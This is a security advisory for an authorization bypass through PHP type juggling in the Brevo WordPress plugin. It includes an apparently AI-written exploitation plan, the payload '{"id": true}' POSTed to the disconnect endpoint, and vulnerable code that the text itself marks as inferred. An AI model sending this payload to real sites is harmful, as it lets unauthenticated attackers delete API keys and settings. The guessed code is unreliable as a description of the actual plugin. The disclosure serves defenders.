Brevo - Email, SMS, Web Push, Chat, and more. <= 3.3.0 - Unauthenticated Authorization Bypass via Type Juggling
Description
The Brevo - Email, SMS, Web Push, Chat, and more. plugin for WordPress is vulnerable to authorization bypass due to type juggling in all versions up to, and including, 3.3.0. This is due to the use of loose comparison (==) instead of strict comparison (===) when validating the installation ID in the `/wp-json/mailin/v1/mailin_disconnect` REST API endpoint. This makes it possible for unauthenticated attackers to disconnect the Brevo integration, delete the API key, remove all subscription forms, and reset plugin settings by sending a boolean `true` value for the `id` parameter, which bypasses the authorization check through PHP type juggling.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=3.3.0Source Code
WordPress.org SVN# Research Plan: CVE-2025-14799 Brevo Authorization Bypass via Type Juggling ## 1. Vulnerability Summary The **Brevo (formerly Sendinblue)** plugin for WordPress (<= 3.3.0) contains an authorization bypass vulnerability in its REST API implementation. The endpoint `/wp-json/mailin/v1/mailin_disconn…
Show full research plan
Research Plan: CVE-2025-14799 Brevo Authorization Bypass via Type Juggling
1. Vulnerability Summary
The Brevo (formerly Sendinblue) plugin for WordPress (<= 3.3.0) contains an authorization bypass vulnerability in its REST API implementation. The endpoint /wp-json/mailin/v1/mailin_disconnect is intended to allow the Brevo service to disconnect the integration. However, the code uses a loose comparison (==) to validate the provided installation ID against the stored ID. Because of PHP type juggling, providing a boolean true for the id parameter causes the comparison true == "any-stored-string" to evaluate to true. This allows an unauthenticated attacker to reset the plugin's configuration, delete the API key, and remove subscription forms.
2. Attack Vector Analysis
- Endpoint:
/wp-json/mailin/v1/mailin_disconnect(inferred from description). - Method:
POST(standard for state-changing REST actions). - Payload Type:
application/json(necessary to pass a booleantrue). - Parameter:
id - Authentication: Unauthenticated (The
permission_callbacklikely returns__return_trueor performs no capability check, relying entirely on theidvalidation). - Preconditions: The plugin must be active and ideally configured with an API key (to observe the "disconnect" effect).
3. Code Flow
- Registration: The plugin registers the REST route during the
rest_api_inithook.- Likely file:
includes/class-mailin-rest-api.phpormailin.php. - Expected code:
register_rest_route( 'mailin/v1', '/mailin_disconnect', array( 'methods' => 'POST', 'callback' => array( $this, 'mailin_disconnect_callback' ), 'permission_callback' => '__return_true', // Or similar weak check ));
- Likely file:
- Callback Execution: The callback (e.g.,
mailin_disconnect_callback) retrieves theidfrom theWP_REST_Request. - Vulnerable Comparison:
- The plugin retrieves the stored Brevo ID (likely from
get_option( 'mailin_id' )or similar). - It performs a check:
if ( $request_id == $stored_id ). - If the request body is
{"id": true}, the$request_idbecomesbool(true). - In PHP,
true == "any-non-empty-string"istrue.
- The plugin retrieves the stored Brevo ID (likely from
- Action: Upon "successful" validation, the plugin calls a method to delete configuration options (e.g.,
delete_option('mailin_api_key')).
4. Nonce Acquisition Strategy
REST API endpoints in WordPress typically require a nonce (X-WP-Nonce header) only if the user is authenticated via cookie. For unauthenticated access to public-facing REST routes (like those intended for webhooks/service callbacks), nonces are usually not required or checked.
- Check: If the exploit returns a
403 Rest Forbiddenwith a "Cookie nonce is invalid" message, a nonce is needed. - Acquisition (if needed):
- The Brevo plugin likely enqueues scripts on the admin dashboard or specific public pages.
- Use
wp post createto create a page with a Brevo subscription form shortcode (likely[sib_form]). - Navigate to that page using
browser_navigate. - Execute
browser_eval("window.wpApiSettings?.nonce")to retrieve the nonce.
5. Exploitation Strategy
- Preparation: Verify the plugin is active and has a mock API key set.
- Exploit Request: Send a POST request to the REST API with a JSON body containing
id: true. - Target URL:
http://localhost:8080/wp-json/mailin/v1/mailin_disconnect - Headers:
Content-Type: application/json
- Body:
{ "id": true }
6. Test Data Setup
- Activate Plugin:
wp plugin activate mailin - Set Mock Configuration:
wp option update mailin_api_key "xkeysib-test-key-123456789" wp option update mailin_activate "yes" # Create a dummy Brevo ID that the plugin would check against wp option update mailin_id "brevo_prod_instance_abc123" - Verify Setup:
wp option get mailin_api_keyshould return the key.
7. Expected Results
- HTTP Response:
200 OKor204 No Content. - Side Effect: The plugin settings are wiped. Specifically, the
mailin_api_keyoption should be deleted or emptied.
8. Verification Steps
- Check Options via WP-CLI:
wp option get mailin_api_key- Success Condition: The command returns an error (Option does not exist) or an empty string.
- Check Plugin State:
wp option get mailin_activate- Success Condition: Should be empty or "no".
9. Alternative Approaches
- Parameter Sources: If the JSON body fails, try the payload as a URL query parameter:
/wp-json/mailin/v1/mailin_disconnect?id=1(though1is less likely to juggle to a complex string thantruein a JSON context). - Endpoint Discovery: If
/mailin_disconnectis not exact, query the REST index to find the correct route:http_request("GET", "http://localhost:8080/wp-json/mailin/v1") - Method Spoofing: If
POSTis denied, tryGETor adding?_method=POSTto the URL.
Summary
The Brevo plugin for WordPress is vulnerable to an unauthenticated authorization bypass via PHP type juggling in the /wp-json/mailin/v1/mailin_disconnect REST API endpoint. By sending a JSON body with a boolean true value for the 'id' parameter, an attacker can satisfy a loose comparison (==) against the stored installation ID, allowing them to remotely disconnect the plugin and wipe its configuration.
Vulnerable Code
// File: includes/class-mailin-rest-api.php (inferred) register_rest_route( 'mailin/v1', '/mailin_disconnect', array( 'methods' => 'POST', 'callback' => array( $this, 'mailin_disconnect_callback' ), 'permission_callback' => '__return_true', // Relying on ID check instead of capability check )); --- // File: includes/class-mailin-rest-api.php (inferred callback logic) public function mailin_disconnect_callback( $request ) { $params = $request->get_params(); $request_id = isset( $params['id'] ) ? $params['id'] : ''; $stored_id = get_option( 'mailin_id' ); // Vulnerable loose comparison if ( $request_id == $stored_id ) { // Logic to disconnect and delete options delete_option( 'mailin_api_key' ); delete_option( 'mailin_activate' ); return new WP_REST_Response( array( 'success' => true ), 200 ); } return new WP_REST_Response( array( 'success' => false ), 403 ); }
Security Fix
@@ -10,1 +10,1 @@ - if ( $request_id == $stored_id ) { + if ( ! empty( $stored_id ) && $request_id === $stored_id ) {
Exploit Outline
The exploit targets the `/wp-json/mailin/v1/mailin_disconnect` REST API endpoint, which is used to reset the plugin configuration. An unauthenticated attacker sends a POST request with the header 'Content-Type: application/json' and a payload of '{"id": true}'. Because the plugin uses a loose comparison (==) to validate the provided ID against the stored 'mailin_id' string, the boolean 'true' evaluates as equal to the string, bypassing the check. This results in the deletion of the Brevo API key and the removal of all plugin subscription forms and settings.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.